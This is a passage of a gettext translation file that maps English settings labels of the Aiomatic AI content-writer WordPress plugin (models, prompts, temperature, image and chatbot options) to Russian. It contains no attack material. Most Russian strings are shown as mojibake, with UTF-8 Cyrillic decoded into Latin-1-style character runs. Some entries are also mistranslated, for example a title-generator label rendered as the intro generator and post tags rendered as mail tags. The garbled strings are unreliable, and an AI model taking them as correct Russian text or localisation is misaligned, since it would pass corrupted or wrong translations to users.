res/aiomatic-youtube-list.php:1551 msgid "AI Frequency Penalty:" msgstr "Штраф за чаÑтоту AI:" #: res/aiomatic-amazon-list.php:1308 res/aiomatic-amazon-list.php:1435 #: res/aiomatic-amazon-list.php:3848 res/aiomatic-amazon-list.php:4001 #: res/aiomatic-review-list.php:1377 res/aiomatic-review-list.php:1504 #: res/aiomatic-review-list.php:4001 res/aiomatic-review-list.php:4154 #: res/aiomatic-rules-list.php:1510 res/aiomatic-rules-list.php:1637 #: res/aiomatic-rules-list.php:4249 res/aiomatic-rules-list.php:4402 #: res/aiomatic-youtube-list.php:1264 res/aiomatic-youtube-list.php:1391 #: res/aiomatic-youtube-list.php:3759 res/aiomatic-youtube-list.php:3912 msgid "AI Generated" msgstr "Сгенерировано AI" #: res/aiomatic-spinner-list.php:3705 msgid "AI Generated Audio/Video Location:" msgstr "РаÑположение аудио/видео, Ñгенерированного AI:" #: res/admin/ai-post-gutenberg.php:223 msgid "AI Generated Content" msgstr "Контент, Сгенерированный AI" #: res/admin/ai-post-gutenberg.php:228 msgid "AI Generated Excerpt" msgstr "ÐÐ½Ð¾Ð½Ñ Ð¡Ñ‚Ð°Ñ‚ÑŒÐ¸ Сгенерированный AI" #: res/aiomatic-spinner-list.php:1341 msgid "AI Generated Featured Image Options:" msgstr "Параметры Избранного ИзображениÑ, Ñозданного AI:" #: res/aiomatic-main.php:2965 msgid "AI Generated Image Resize Height:" msgstr "Изменение выÑоты Ñгенерированного AI изображениÑ:" #: res/aiomatic-main.php:2984 msgid "AI Generated Image Resize Quality:" msgstr "КачеÑтво Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° изображениÑ, Ñгенерированного AI:" #: res/aiomatic-main.php:2946 msgid "AI Generated Image Resize Width:" msgstr "Изменение ширины Ñгенерированного AI изображениÑ:" #: res/aiomatic-chatbot.php:2460 res/aiomatic-main.php:3473 msgid "AI Generated Image Size:" msgstr "Размер изображениÑ, Ñгенерированного AI:" #: res/aiomatic-images.php:21 msgid "AI Generated Images" msgstr "ИзображениÑ, Ñозданные AI" #: aiomatic-automatic-ai-content-writer.php:744 #: aiomatic-automatic-ai-content-writer.php:756 msgid "AI Generated Reply" msgstr "Ответ Сгенерированный AI" #: res/admin/ai-post-gutenberg.php:210 msgid "AI Generated Results" msgstr "Результаты Сгенерированные AI" #: res/image-seo/aiomatic-image-seo.php:12 msgid "AI Generated SEO Fields" msgstr "SEO-полÑ, Сгенерированные AI" #: res/admin/ai-post-gutenberg.php:218 msgid "AI Generated SEO Meta Description" msgstr "SEO мета-опиÑание, Ñгенерированное AI " #: res/admin/ai-post-gutenberg.php:233 msgid "AI Generated Tags" msgstr "Теги, Сгенерированные AI " #: res/admin/ai-post-gutenberg.php:213 msgid "AI Generated Title" msgstr "Заголовки Сгенерированные AI " #: res/aiomatic-chatbot.php:4230 msgid "AI Image Chatbot Image Size:" msgstr "AI Image Размер Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð§Ð°Ñ‚-бота:" #: res/aiomatic-chatbot.php:4218 msgid "AI Image Chatbot Settings:" msgstr "ÐаÑтройки Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI Чат-бота :" #: res/aiomatic-limits-statistics.php:1785 msgid "AI Image Count" msgstr "КоличеÑтво Изображений AI" #: aiomatic-automation.php:97 #| msgid "AI Image Dalle" msgid "AI Image Dall-E" msgstr "AI-изображение Dall-E" #: res/aiomatic-amazon-list.php:1619 res/aiomatic-amazon-list.php:4175 #: res/aiomatic-review-list.php:1688 res/aiomatic-review-list.php:4328 #: res/aiomatic-youtube-list.php:1575 res/aiomatic-youtube-list.php:4086 msgid "AI Image From Below Selector" msgstr "Выбор Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI Снизу" #: res/aiomatic-amazon-list.php:4258 res/aiomatic-review-list.php:4411 #: res/aiomatic-rules-list.php:4647 res/aiomatic-youtube-list.php:4169 msgid "AI Image Model" msgstr "Модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI" #: res/aiomatic-amazon-list.php:1694 res/aiomatic-chatbot.php:2482 #: res/aiomatic-chatbot.php:4250 res/aiomatic-main.php:3495 #: res/aiomatic-review-list.php:1763 res/aiomatic-rules-list.php:1892 #: res/aiomatic-single-list.php:2359 res/aiomatic-single-list.php:3109 #: res/aiomatic-single-list.php:4362 res/aiomatic-single-list.php:5676 #: res/aiomatic-single-list.php:7042 res/aiomatic-spinner-list.php:1479 #: res/aiomatic-youtube-list.php:1650 msgid "AI Image Model:" msgstr "Модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI:" #: res/aiomatic-main.php:39 msgid "AI Image Selector" msgstr "Выбор Изображений AI" #: res/aiomatic-spinner-list.php:2004 msgid "AI Image Source:" msgstr "ИÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI:" #: aiomatic-automation.php:127 msgid "AI Image Stable Diffusion" msgstr "Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI Stable Diffusion" #: res/aiomatic-main.php:19 msgid "AI Images" msgstr "AI-изображениÑ" #: res/aiomatic-chatbot.php:742 res/aiomatic-chatbot.php:1152 msgid "AI Initial Messages (One Per Line):" msgstr "AI Ðачальные Ð¡Ð¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ (по одному в Ñтроке):" #: res/aiomatic-main.php:26 msgid "AI Internet Access" msgstr "AI доÑтуп в Интернет" #: res/aiomatic-main.php:6988 msgid "AI Internet Access Settings" msgstr "ÐаÑтройки доÑтупа в Интернет Ð´Ð»Ñ AI" #: res/aiomatic-main.php:3789 msgid "AI Linking Keyword Extraction Model:" msgstr "Модель Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов AI Linking:" #: res/aiomatic-main.php:3820 msgid "AI Linking Keyword Extraction Prompt:" msgstr "Промпт Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов AI Linking:" #: res/aiomatic-more.php:27 msgid "AI Media Library Extensions:" msgstr "РаÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ ÐœÐµÐ´Ð¸Ð°Ñ‚ÐµÐºÐ¸ AI:" #: aiomatic-automation.php:31 aiomatic-automation.php:68 #: aiomatic-automation.php:113 aiomatic-automation.php:143 #: aiomatic-automation.php:293 aiomatic-automation.php:363 #: aiomatic-shortcodes-file.php:569 res/admin/ai-post-gutenberg.php:127 #: res/admin/ai-post.php:121 res/image-seo/seo-panel.php:46 msgid "AI Model" msgstr "Модель AI" #: res/aiomatic-amazon-list.php:1324 res/aiomatic-review-list.php:1393 #: res/aiomatic-rules-list.php:1526 res/aiomatic-youtube-list.php:1280 msgid "AI Model For Category Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Категорий:" #: res/aiomatic-amazon-list.php:3646 msgid "AI Model For Comparison Table Generator" msgstr "Модель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ñравнительных таблиц" #: res/aiomatic-amazon-list.php:1103 res/aiomatic-single-list.php:5311 msgid "AI Model For Comparison Table Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ñравнительной таблицы:" #: res/aiomatic-amazon-list.php:3478 res/aiomatic-review-list.php:3590 #: res/aiomatic-rules-list.php:3677 res/aiomatic-youtube-list.php:3414 msgid "AI Model For Content Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Контента" #: res/aiomatic-amazon-list.php:951 res/aiomatic-review-list.php:983 #: res/aiomatic-rules-list.php:928 res/aiomatic-single-list.php:1881 #: res/aiomatic-single-list.php:3869 res/aiomatic-single-list.php:5159 #: res/aiomatic-single-list.php:6488 res/aiomatic-youtube-list.php:931 msgid "AI Model For Content Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Контента:" #: res/aiomatic-review-list.php:3632 msgid "AI Model For Customer Reviews Analysis Generator" msgstr "" "Модель иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° анализа отзывов клиентов" #: res/aiomatic-review-list.php:1021 res/aiomatic-single-list.php:6526 msgid "AI Model For Customer Reviews Analysis Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° анализа отзывов клиентов:" #: res/aiomatic-amazon-list.php:3604 res/aiomatic-review-list.php:3800 #: res/aiomatic-rules-list.php:3821 res/aiomatic-youtube-list.php:3558 msgid "AI Model For Excerpt Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ÐнонÑа" #: res/aiomatic-amazon-list.php:1065 res/aiomatic-review-list.php:1173 #: res/aiomatic-rules-list.php:1057 res/aiomatic-single-list.php:2010 #: res/aiomatic-single-list.php:3998 res/aiomatic-single-list.php:5273 #: res/aiomatic-single-list.php:6678 res/aiomatic-youtube-list.php:1060 msgid "AI Model For Excerpt Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ÐнонÑа:" #: res/aiomatic-amazon-list.php:3436 res/aiomatic-review-list.php:3506 #: res/aiomatic-rules-list.php:3593 res/aiomatic-youtube-list.php:3330 msgid "AI Model For Intro Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ð’Ñтупительной ЧаÑти" #: res/aiomatic-amazon-list.php:913 res/aiomatic-review-list.php:907 #: res/aiomatic-rules-list.php:852 res/aiomatic-single-list.php:1805 #: res/aiomatic-single-list.php:3793 res/aiomatic-single-list.php:5121 #: res/aiomatic-single-list.php:6412 res/aiomatic-youtube-list.php:855 msgid "AI Model For Intro Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ð’Ñтупительной ЧаÑти:" #: res/aiomatic-amazon-list.php:3562 res/aiomatic-review-list.php:3758 #: res/aiomatic-rules-list.php:3779 res/aiomatic-youtube-list.php:3516 msgid "AI Model For Outro Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заключительной ЧаÑти" #: res/aiomatic-amazon-list.php:1027 res/aiomatic-review-list.php:1135 #: res/aiomatic-rules-list.php:1019 res/aiomatic-single-list.php:1972 #: res/aiomatic-single-list.php:3960 res/aiomatic-single-list.php:5235 #: res/aiomatic-single-list.php:6640 res/aiomatic-youtube-list.php:1022 msgid "AI Model For Outro Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заключительной ЧаÑти:" #: res/aiomatic-amazon-list.php:1451 res/aiomatic-review-list.php:1520 #: res/aiomatic-rules-list.php:1653 res/aiomatic-youtube-list.php:1407 msgid "AI Model For Post Tag Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° почтовых тегов:" #: res/aiomatic-review-list.php:3674 msgid "AI Model For Pros & Cons Generator" msgstr "Модель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° плюÑов и минуÑов" #: res/aiomatic-review-list.php:1059 res/aiomatic-single-list.php:6564 msgid "AI Model For Pros & Cons Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° плюÑов и минуÑов:" #: res/aiomatic-amazon-list.php:3520 res/aiomatic-review-list.php:3716 #: res/aiomatic-rules-list.php:3737 res/aiomatic-youtube-list.php:3474 msgid "AI Model For Q&A Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ВопроÑов и Ответов" #: res/aiomatic-amazon-list.php:989 res/aiomatic-review-list.php:1097 #: res/aiomatic-rules-list.php:981 res/aiomatic-single-list.php:1934 #: res/aiomatic-single-list.php:3922 res/aiomatic-single-list.php:5197 #: res/aiomatic-single-list.php:6602 res/aiomatic-youtube-list.php:984 msgid "AI Model For Q&A Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ВопроÑов и Ответов:" #: res/aiomatic-review-list.php:3548 res/aiomatic-rules-list.php:3635 #: res/aiomatic-youtube-list.php:3372 msgid "AI Model For Sections Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ñекций" #: res/aiomatic-review-list.php:945 res/aiomatic-rules-list.php:890 #: res/aiomatic-single-list.php:1843 res/aiomatic-single-list.php:3831 #: res/aiomatic-single-list.php:6450 res/aiomatic-youtube-list.php:893 msgid "AI Model For Sections Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Разделов ПоÑта:" #: res/aiomatic-rules-list.php:1143 res/aiomatic-single-list.php:2582 msgid "AI Model For Text Generator:" msgstr "Модель AI Ð´Ð»Ñ Ñ‚ÐµÐºÑтового Генератора:" #: res/aiomatic-spinner-list.php:2877 msgid "AI Model For The AI SEO Meta Description Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° метаопиÑÐ°Ð½Ð¸Ñ AI SEO:" #: res/aiomatic-spinner-list.php:2311 msgid "AI Model For The Categories Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Категорий:" #: res/aiomatic-amazon-list.php:3872 res/aiomatic-review-list.php:4025 #: res/aiomatic-rules-list.php:4273 res/aiomatic-youtube-list.php:3783 msgid "AI Model For The Category Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорий" #: res/aiomatic-spinner-list.php:2659 msgid "AI Model For The Comments Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° комментариев:" #: res/aiomatic-rules-list.php:4029 msgid "AI Model For The Headings Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заголовоков" #: res/aiomatic-rules-list.php:1286 res/aiomatic-single-list.php:2725 #: res/aiomatic-spinner-list.php:1944 msgid "AI Model For The Headings Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заголовоков:" #: res/aiomatic-amazon-list.php:4025 res/aiomatic-review-list.php:4178 #: res/aiomatic-rules-list.php:4426 res/aiomatic-youtube-list.php:3936 msgid "AI Model For The Post Tag Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° тегов ПоÑтов" #: res/aiomatic-spinner-list.php:2486 msgid "AI Model For The Tags Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Тегов:" #: res/aiomatic-rules-list.php:3898 msgid "AI Model For The Text Generator" msgstr "Модель AI Ð´Ð»Ñ Ñ‚ÐµÐºÑтового Генератора" #: res/aiomatic-rules-list.php:3955 msgid "AI Model For The Title Text Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта заголовка" #: res/aiomatic-amazon-list.php:3394 res/aiomatic-review-list.php:3464 #: res/aiomatic-rules-list.php:3551 res/aiomatic-youtube-list.php:3288 msgid "AI Model For Title Generator" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° титров" #: res/aiomatic-amazon-list.php:875 res/aiomatic-review-list.php:869 #: res/aiomatic-rules-list.php:814 res/aiomatic-single-list.php:1767 #: res/aiomatic-single-list.php:3755 res/aiomatic-single-list.php:5083 #: res/aiomatic-single-list.php:6374 res/aiomatic-youtube-list.php:817 msgid "AI Model For Title Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ð’Ñтупительной чаÑти ПоÑта:" #: res/aiomatic-rules-list.php:1212 res/aiomatic-single-list.php:2651 msgid "AI Model For Title Text Generator:" msgstr "Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта заголовка:" #: aiomatic-ajax-actions.php:8052 msgid "AI Model Options" msgstr "Параметры модели AI" #: res/aiomatic-spinner-list.php:992 msgid "AI Model To Use For Text Editing:" msgstr "Модель AI Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта:" #: res/aiomatic-spinner-list.php:1710 msgid "AI Model To Use:" msgstr "Модель AI Ð´Ð»Ñ Ð¸ÑпользованиÑ:" #: aiomatic-automatic-ai-content-writer.php:1357 res/aiomatic-embeddings.php:48 #: res/aiomatic-training.php:40 msgid "AI Model Training" msgstr "Обучение модели AI" #: aiomatic-ajax-actions.php:8090 res/aiomatic-shortcodes.php:283 msgid "AI Model*" msgstr "Модель AI*" #: res/aiomatic-chatbot.php:3966 msgid "AI Moderation Model:" msgstr "Модель модерации AI:" #: res/aiomatic-automation-list.php:4540 res/aiomatic-automation-list.php:7288 msgid "AI OmniBlock Templates Manager" msgstr "Менеджер шаблонов AI OmniBlock" #: aiomatic-automatic-ai-content-writer.php:1308 #: res/aiomatic-automation-list.php:2655 res/aiomatic-automation-list.php:5292 #: res/aiomatic-main.php:6807 res/aiomatic-main.php:7309 msgid "AI OmniBlocks" msgstr "AI OmniBlocks" #: res/aiomatic-automation-list.php:74 msgid "AI OmniBlocks Tutorial" msgstr "Учебное поÑобие по AI OmniBlocks" #: aiomatic-automatic-ai-content-writer.php:15474 msgid "AI Persona First Message" msgstr "Первое Ñообщение AI-перÑонажа" #: aiomatic-automatic-ai-content-writer.php:1361 res/aiomatic-playground.php:37 msgid "AI Playground" msgstr "AI Playground" #: res/aiomatic-main.php:4269 msgid "AI Post Writer Default Content Prompt:" msgstr "Промпт Ð´Ð»Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:" #: res/aiomatic-main.php:4284 msgid "AI Post Writer Default Excerpt Prompt:" msgstr "Промпт Ð´Ð»Ñ ÐнонÑа AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:" #: res/aiomatic-main.php:4208 msgid "AI Post Writer Default Model:" msgstr "Модель AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:" #: res/aiomatic-main.php:4254 msgid "AI Post Writer Default SEO Meta Description Prompt:" msgstr "Промпт Мета-опиÑÐ°Ð½Ð¸Ñ AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:" #: res/aiomatic-main.php:4150 msgid "AI Post Writer Default Settings:" msgstr "ÐаÑтройки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:" #: res/aiomatic-main.php:4299 msgid "AI Post Writer Default Tags Prompt:" msgstr "Промпт Ð´Ð»Ñ Ð¢ÐµÐ³Ð¾Ð² AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:" #: res/aiomatic-main.php:4239 msgid "AI Post Writer Default Title Prompt:" msgstr "Промпт Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¾Ð² AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:" #: res/aiomatic-amazon-list.php:4137 res/aiomatic-review-list.php:4290 #: res/aiomatic-rules-list.php:4538 res/aiomatic-youtube-list.php:4048 msgid "AI Presence Penalty" msgstr "Штраф за приÑутÑтвие AI" #: res/aiomatic-amazon-list.php:1581 res/aiomatic-review-list.php:1650 #: res/aiomatic-rules-list.php:1783 res/aiomatic-single-list.php:2267 #: res/aiomatic-single-list.php:3017 res/aiomatic-single-list.php:4270 #: res/aiomatic-single-list.php:5584 res/aiomatic-single-list.php:6950 #: res/aiomatic-spinner-list.php:1836 res/aiomatic-youtube-list.php:1537 msgid "AI Presence Penalty:" msgstr "Штраф за приÑутÑтвие AI:" #: aiomatic-automation.php:18 aiomatic-automation.php:55 #: aiomatic-automation.php:106 aiomatic-automation.php:136 #: res/image-seo/seo-panel.php:39 msgid "AI Prompt" msgstr "Промпты AI" #: res/aiomatic-limits-statistics.php:1077 #| msgid "Restrictions For Logged In Users:" msgid "AI Restrictions For Logged In Users:" msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей:" #: res/aiomatic-limits-statistics.php:1251 #| msgid "Restrictions For Not Logged In Users:" msgid "AI Restrictions For Not Logged In Users:" msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей:" #: res/aiomatic-main.php:4937 msgid "AI Seed" msgstr "AI ИÑточник" #: aiomatic-shortcodes-file.php:529 msgid "AI Settings" msgstr "ÐаÑтройки AI" #: aiomatic-automatic-ai-content-writer.php:1348 msgid "AI Shortcodes & Forms" msgstr "Шорткоды и формы AI" #: res/aiomatic-chatbot.php:2790 msgid "AI Talking Avatar Height:" msgstr "Ð’Ñ‹Ñота ГоворÑщего AI Ðватара:" #: res/aiomatic-chatbot.php:2774 msgid "AI Talking Avatar Width:" msgstr "Ширина ГоворÑщего AI Ðватара:" #: res/aiomatic-more.php:14 msgid "AI Taxonomy Description Writer" msgstr "AI Создатель ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий" #: res/aiomatic-main.php:5186 msgid "AI Taxonomy Description Writer Model:" msgstr "Модель AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий" #: res/aiomatic-main.php:5217 msgid "AI Taxonomy Description Writer Prompt:" msgstr "Промпты AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий" #: res/aiomatic-main.php:5128 msgid "AI Taxonomy Description Writer Settings:" msgstr "ÐаÑторойки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий" #: res/aiomatic-main.php:5475 res/aiomatic-more.php:74 msgid "AI Taxonomy Description Writer Tutorial Video:" msgstr "Учебное видео по AI Создателю ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий:" #: res/aiomatic-more.php:33 msgid "AI Taxonomy Description Writer:" msgstr "AI Создатель ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий" #: res/aiomatic-main.php:36 msgid "AI Taxonomy SEO" msgstr "AI Создатель ТакÑономий Ð´Ð»Ñ SEO" #: res/aiomatic-main.php:5315 msgid "AI Taxonomy SEO Description Writer Model:" msgstr " Модель AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ SEO ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий:" #: res/aiomatic-main.php:5346 msgid "AI Taxonomy SEO Description Writer Prompt:" msgstr "Промпты AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ SEO ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий:" #: res/aiomatic-main.php:5223 msgid "AI Taxonomy SEO Meta Writer Settings:" msgstr "ÐаÑтройки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ SEO ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий:" #: aiomatic-shortcodes-file.php:580 res/aiomatic-amazon-list.php:4113 #: res/aiomatic-review-list.php:4266 res/aiomatic-rules-list.php:4514 #: res/aiomatic-youtube-list.php:4024 msgid "AI Temperature" msgstr "Температура AI" #: res/aiomatic-amazon-list.php:1553 res/aiomatic-review-list.php:1622 #: res/aiomatic-rules-list.php:1755 res/aiomatic-single-list.php:2239 #: res/aiomatic-single-list.php:2989 res/aiomatic-single-list.php:4242 #: res/aiomatic-single-list.php:5556 res/aiomatic-single-list.php:6922 #: res/aiomatic-youtube-list.php:1509 msgid "AI Temperature:" msgstr "Температура AI:" #: aiomatic-automation.php:9 msgid "AI Text" msgstr "AI-текÑÑ‚" #: aiomatic-automation.php:39 msgid "AI Text For Each Line Of Input" msgstr "ТекÑÑ‚ AI Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ Ñтроки ввода" #: res/aiomatic-amazon-list.php:4125 res/aiomatic-review-list.php:4278 #: res/aiomatic-rules-list.php:4526 res/aiomatic-youtube-list.php:4036 msgid "AI Top_p" msgstr "AI Top_p" #: res/aiomatic-amazon-list.php:1567 res/aiomatic-review-list.php:1636 #: res/aiomatic-rules-list.php:1769 res/aiomatic-single-list.php:2253 #: res/aiomatic-single-list.php:3003 res/aiomatic-single-list.php:4256 #: res/aiomatic-single-list.php:5570 res/aiomatic-single-list.php:6936 #: res/aiomatic-youtube-list.php:1523 msgid "AI Top_p:" msgstr "AI Top_p:" #: res/aiomatic-limits-statistics.php:455 msgid "AI Usage Limits" msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование AI" #: aiomatic-automation.php:157 msgid "AI Video Stable Diffusion" msgstr "AI Video Stable Diffusion" #: res/aiomatic-main.php:20 msgid "AI Videos" msgstr " AI Видео" #: res/aiomatic-chatbot.php:3244 res/aiomatic-spinner-list.php:3464 msgid "AI Voice Output Format:" msgstr "Формат вывода ГолоÑа AI:" #: res/aiomatic-chatbot.php:3219 res/aiomatic-spinner-list.php:3439 msgid "AI Voice Selector:" msgstr "Селектор ГолоÑа AI:" #: res/aiomatic-main.php:40 res/aiomatic-rules-list.php:427 #: res/aiomatic-rules-list.php:3250 res/aiomatic-single-list.php:1380 msgid "AI Writer" msgstr "AI Создатель ПоÑтов" #: res/aiomatic-amazon-list.php:511 res/aiomatic-amazon-list.php:3113 #: res/aiomatic-review-list.php:424 res/aiomatic-review-list.php:3091 #: res/aiomatic-single-list.php:4719 res/aiomatic-single-list.php:5929 msgid "AI Writer Options" msgstr "Параметры AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ " #: res/aiomatic-chatbot.php:2665 msgid "AI Writer Prompt For Email Sending Awareness:" msgstr "AI Writer Промпты Ð´Ð»Ñ Ð£Ð²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ Ð¾Ð± отправки Email " #: res/image-seo/seo-panel.php:30 msgid "AI Writer Target" msgstr "Таргет AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ " #: aiomatic-helpers.php:3653 msgid "Aiomatic" msgstr "Aiomatic" #: res/image-seo/seo-panel.php:15 msgid "Aiomatic - AI Generated SEO Fields" msgstr "Aiomatic — SEO-полÑ, Сгенерированные AI" #. Plugin Name of the plugin/theme #: aiomatic-automatic-ai-content-writer.php:1675 msgid "Aiomatic - Automatic AI Content Writer" msgstr "Aiomatic - автоматичеÑкий пиÑатель Контента AI" #: aiomatic-automatic-ai-content-writer.php:1699 #| msgid "AIomatic AI Content Writer" msgid "Aiomatic AI Content Editor" msgstr "AIomatic AI Редактор Контента" #: aiomatic-automatic-ai-content-writer.php:1698 msgid "Aiomatic 